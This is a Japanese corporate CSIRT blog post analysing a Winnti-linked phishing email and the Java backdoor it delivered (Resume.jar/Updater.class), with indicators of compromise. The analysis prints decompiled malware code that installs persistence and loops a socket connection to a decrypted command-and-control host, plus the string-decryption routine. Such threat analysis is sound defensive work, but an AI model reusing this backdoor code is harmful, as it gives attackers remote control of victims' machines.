標的型攻撃疑いのアクティビティを調べてみた。
六宮 智悟
こんにちは。Recruit-CSIRT 六宮です。
先日、社内から「怪しいメールが届いた」との報告がありました。今回は、そのメールやダウンロードされる不正プログラムなどについて、調査結果を共有したいと思います。みなさんにとって有益な情報になれば幸いです。
今回届いたメール
実際に届いたメールはこちらになります。送信者のメールアドレスは、国内の携帯電話キャリアのアドレスでした。
メールヘッダを確認した限りでは、今回のメールは From などの偽装は考えにくく、実際に携帯電話から送信された可能性が高いと考えられる状態でした。
話をメール本文に戻したいと思います。本文中には短縮 URL サービスの URL があり、見るからに怪しいですね。アクセスをすると架空の履歴書が表示されます。
いまは 2017 年ですので、誕生日(1984年)と年齢(30)がミスマッチですね。
また、この架空の履歴書について調べてみると、過去事例でも利用されていたことが確認できました(少しだけ内容が更新されていますが)。また、先ほどのメールの文面についても、同様に使いまわされていることを確認しました。どうやら過去の事例を調べる限りでは、いずれも 同じアクター「Winnti」による活動と関連していることが疑われます。
このサイトにアクセスしたところ「info.zip」というファイルがダウンロードされる事象を確認したのですが、二回目以降は再現性がなくサーバ側で何らかの制御を行っていることが考えられます。セキュリティベンダが公開している同様の事例を確認する限りでは、アクセスした端末の OS で 「info.zip」に含まれるファイルが異なるとの報告もありましたが、今回の調査では確認には至りませんでした。
さっそく「info.zip」の調査に進みたいのですが、その前に先ほどのダミーサイトについて少しだけ追加情報を共有したいと思います。
先ほどのサイトのドメインは 2017/10/24 に登録されており、調査時点での IP アドレスは「139.162.95.39」でしたが、2017/10/29 に IP アドレスが変更されていました。以前の IP アドレスは「106.184.5.252」と記録がありましたので調査をしてみると、これも Winnti の活動との関連が疑われる IP アドレスであることが確認できました。攻撃に先駆けてドメインを取得して、今回のキャンペーン向けの新しい IP アドレスに紐づけたことが伺えます。
ダウンロードされてきたファイル
改めて「info.zip」の調査結果の共有です。
今回の zip には「Resume.app」が含まれており、その中に既に不正データとして検知される「Resume.jar」が含まれていました。不正データの実体は「Resume.jar」内の「Updater.class」になります。これらのデータのハッシュ値はブログ末尾に記載しました。
これらのハッシュ値を確認したところ、いくつかのデータは Virus Total に 2017/07/05 にアップロードされていることが確認できました。ファイルのタイムスタンプを踏まえると、作成してすぐに何らかのキャンペーンに利用されたことが伺えます。一方で、同じデータを 11 月に利用した点は、標的型攻撃と呼ぶには粗雑な印象を受けます。
また「Resume.jar」に含まれる「template.dat」ですが、こちらは Microsoft Word のテンプレートとなっており、中身は先ほどのサイトとは異なる架空の履歴書となっていました。ハッシュ値で調査をすると、このファイルも「Winnti」の過去の活動で利用されていた可能性を確認できました。
不正データの中身
では「Updater.class」をデコンパイルしてみてみましょう。デコンパイルすると、main 関数以外に以下の関数が定義されていることが確認できます。
- open( )
- writeEmbeddedFile( )
- bootstrap( )
- getJreExecutable( )
- findInDir( )
- normalize( )
- dissect( )
- SelfStart( )
- decrypt ( )
- StringJoin( )
main 関数を確認したところ、設定データ「Flash.dat」内のパラメータで分岐などを行っていました。この「Flash.dat」を確認するとプレーンテキストのデータであり、以下のような内容でした。
1 2 3 4 5 |
ayb1zsdAVr4MtElF=1 hLxAQUo1p9IGeH0B=1 lFNNapMpsKzgh5xd=767073326a6176612e736563757269747974a4a01cfbf3ed19993095 Ma48TxsRJreOwJ2o=c5c36892909e37fa67c8 QFvcpRlVLPgZMd72=c5c36892909e37fa69c8 |
これを踏まえて main 関数を見てみます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
/* 省略 */ public static void main(String[] paramArrayOfString) throws Exception { Properties localProperties = new Properties(); Class localClass = Updater.class; String str = localClass.getName().replace('.', '/') + ".class"; InputStream localInputStream = localClass.getResourceAsStream("/Flash.dat"); //Config データ if (localInputStream != null) { localProperties.load(localInputStream); localInputStream.close(); } int i = Integer.parseInt(localProperties.getProperty("ayb1zsdAVr4MtElF", "0")); // Key : ayb1zsdAVr4MtElF を持つプロパティの検索 Object localObject1; Object localObject2; if (i > 0) // Flash.dat の初期状態では ayb1zsdAVr4MtElF=1 { localProperties.setProperty("ayb1zsdAVr4MtElF", String.valueOf(i - 1)); // ayb1zsdAVr4MtElF の上書き docdir = USER_HOME + File.separator + "Documents" + File.separator + ".FlashX"; InstallDir = new File(docdir); propFile = new File(InstallDir, "Flash.dat"); File localFile1 = new File(InstallDir, str); localFile1.getParentFile().mkdirs(); writeEmbeddedFile(localClass, str, localFile1); localObject1 = new FileOutputStream(propFile); localProperties.store((OutputStream)localObject1, ""); ((FileOutputStream)localObject1).close(); Process localProcess = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", InstallDir .getAbsolutePath(), localClass .getName() }); if (IS_MAC) { SelfStart(InstallDir.getAbsolutePath()); // システム再起動後の自動実行を登録 } localProcess.getInputStream().close(); localProcess.getErrorStream().close(); } else { for (;;) { j = Integer.parseInt(decrypt(localProperties.getProperty("Ma48TxsRJreOwJ2o", "4444"))); //port 番号 localObject1 = decrypt(localProperties.getProperty("lFNNapMpsKzgh5xd", null)); // 接続先 host 名 int k = Integer.parseInt(decrypt(localProperties.getProperty("QFvcpRlVLPgZMd72", "10"))); // Sleep の値 try { Socket localSocket = new Socket((String)localObject1, j); // ソケットを用意してサーバと接続 localObject2 = localSocket.getInputStream(); OutputStream localOutputStream = localSocket.getOutputStream(); new Updater().bootstrap((InputStream)localObject2, localOutputStream); } catch (IOException localIOException) { localIOException.printStackTrace(System.out); } finally { Thread.sleep(1000 * k); } } } /* 省略 */ |
初回実行時には「Flash.dat」内のパラメータが「ayb1zsdAVr4MtElF=1」のため、ファイルの作成やシステム再起動後の自動実行のための処理(SelfStart 関数の処理)が行われるようです。その後は、外部通信を行うループ処理が行われていますが、ホスト名などは「Flash.dat」の他のパラメータを decrypt 関数に渡して復号していることがわかります。
decrypt 関数は以下になります。ここで特徴的な数字(Seed 値)があることがわかります。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
public static final String decrypt(String paramString) { if (paramString == null) { return ""; } if (paramString.length() == 0) { return ""; } // 引数がある場合の処理 BigInteger localBigInteger1 = new BigInteger("0933910847463829232312312"); //数字はSeed値 try { BigInteger localBigInteger2 = new BigInteger(paramString, 16); BigInteger localBigInteger3 = localBigInteger2.xor(localBigInteger1); return new String(localBigInteger3.toByteArray()); // 復号結果を返す } catch (Exception localException) {} return ""; } |
この Seed について調べてみると、広く公開されている Java のサンプルコードを確認することができました。また、この decrypt 関数については、ほぼそのまま流用されており、どうやら攻撃者はサンプルコードを流用して今回の「Updater.class」を作成したようです。
では、実際にどんな値が得られるのか復号をしてみましょう。「Flash.dat」の値をそのまま渡してみます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import java.math.BigInteger; public class Decription { public static void main(String[] args) { Object localObject1; int j = Integer.parseInt(decrypt("c5c36892909e37fa67c8")); localObject1 = decrypt("767073326a6176612e736563757269747974a4a01cfbf3ed19993095"); int k = Integer.parseInt(decrypt("c5c36892909e37fa69c8")); System.out.println("Port : " + j); System.out.println("Host : " + localObject1); System.out.println("Sleep(msec) : " + 1000 * k); } public static final String decrypt(String encrypted) { if (encrypted == null) return ""; if (encrypted.length() == 0) return ""; BigInteger bi_confuse = new BigInteger("0933910847463829232312312"); try { BigInteger bi_r1 = new BigInteger(encrypted, 16); BigInteger bi_r0 = bi_r1.xor(bi_confuse); return new String(bi_r0.toByteArray()); } catch (Exception e) { return ""; } } } |
実行結果は以下のようになり、60秒毎にコールバック先のホストと通信を行うことが確認できます。
このホストについて調べると、やはり「Winnti」の活動との関連性を確認することができました。また、既に多くのセキュリティベンダが「不正な活動を行うドメイン」として認定していることも確認ができましたので、再利用するにはリスクが高すぎると考えられます。やはり標的型攻撃にしては、粗雑な印象が拭えません。
今回の調査では「Resume.jar」の動的解析を行い、実際にこのホストとの通信が行われることを確認しています。またパケットデータ取得、中身の確認も行いましたが、攻撃者によるアクティビティが確認できるほどの長期観測は行っていませんので割愛します。
最後に
さて、今回の攻撃は標的型攻撃だったのでしょうか?
調査で得られた情報からは、特定のアクターとの関連性が強く、少なくともばらまき型の攻撃ではないとは言えそうです。一方で、十分に準備された標的型攻撃である、と言うには粗雑な点が多くみられました。もともと「Winnti」の活動は、ある程度の範囲を狙った攻撃を行うことも報告されていますので、その一定の範囲において行われた初動であったのかもしれません。
最後に、今回の気づきについて共有したいと思います。
人も優秀なセンサー
社内からのエスカレーションは非常に頼もしい。組織内への情報展開や CSIRT へのエスカレーションが気軽に行える文化は素晴らしいですね。
公開されている脅威情報は有益
OSINT をうまく活用することで、多くの情報や気づきを得ることができます。必要に応じて積極的に活用できると良いですね。
攻撃者も人
攻撃者も人である以上、何らかの痕跡やサインを残します(今回は多すぎる気がしますが…)。この点は先の OSINT の話とも関連しますが、そのようなパターンから攻撃者の把握ができるケースもあります。相手を知ることで、次の攻撃に備えることや、攻撃を未然に防ぐことができるかもしれません。
初動は必要最小限で良い
ブログではダウンロードされたサンプルの中身などを共有しましたが、実際の初動は接続先の把握と遮断、影響を受けた端末の確認(今回はコールバックした端末の確認)です。この限りにおいてはサンドボックス環境での動的解析で十分です。他の接続先がないかなどは、遮断後に継続監視と並行してサンプルをセキュリティベンダに提供しての相談で良いでしょう。
今回の共有は以上となります。最後までお読み頂きありがとうございました。以下は IOC の情報となります。ブログ内の情報と合わせて、みなさまの一助となれば幸いです。
■ ファイル
- info.zip(Resume.app): 634244cc3b5924f8db24db67e21b63a801039e25
- Resume.jar : 6417e9b860bbf64f01cbce46f7b36aff9bb5e458
- Updater.class : 9bd464d576a8bef675034170611e48efa807beb5
- Flash.dat : 6b89a7f442eeadc92faf5b2fceea17b5db2c27cc
- template.dat : d11cc6baa0b957f64518485f065d98e3fcf76c55
■ URL / IP アドレス
- hxxp://eggagent[.]info/?session=<ID1>&<ID2>
- hxxp://vps2java.securitytactics[.]com
- 139.162.95.39
- 139.162.119.48
- 106.184.5.252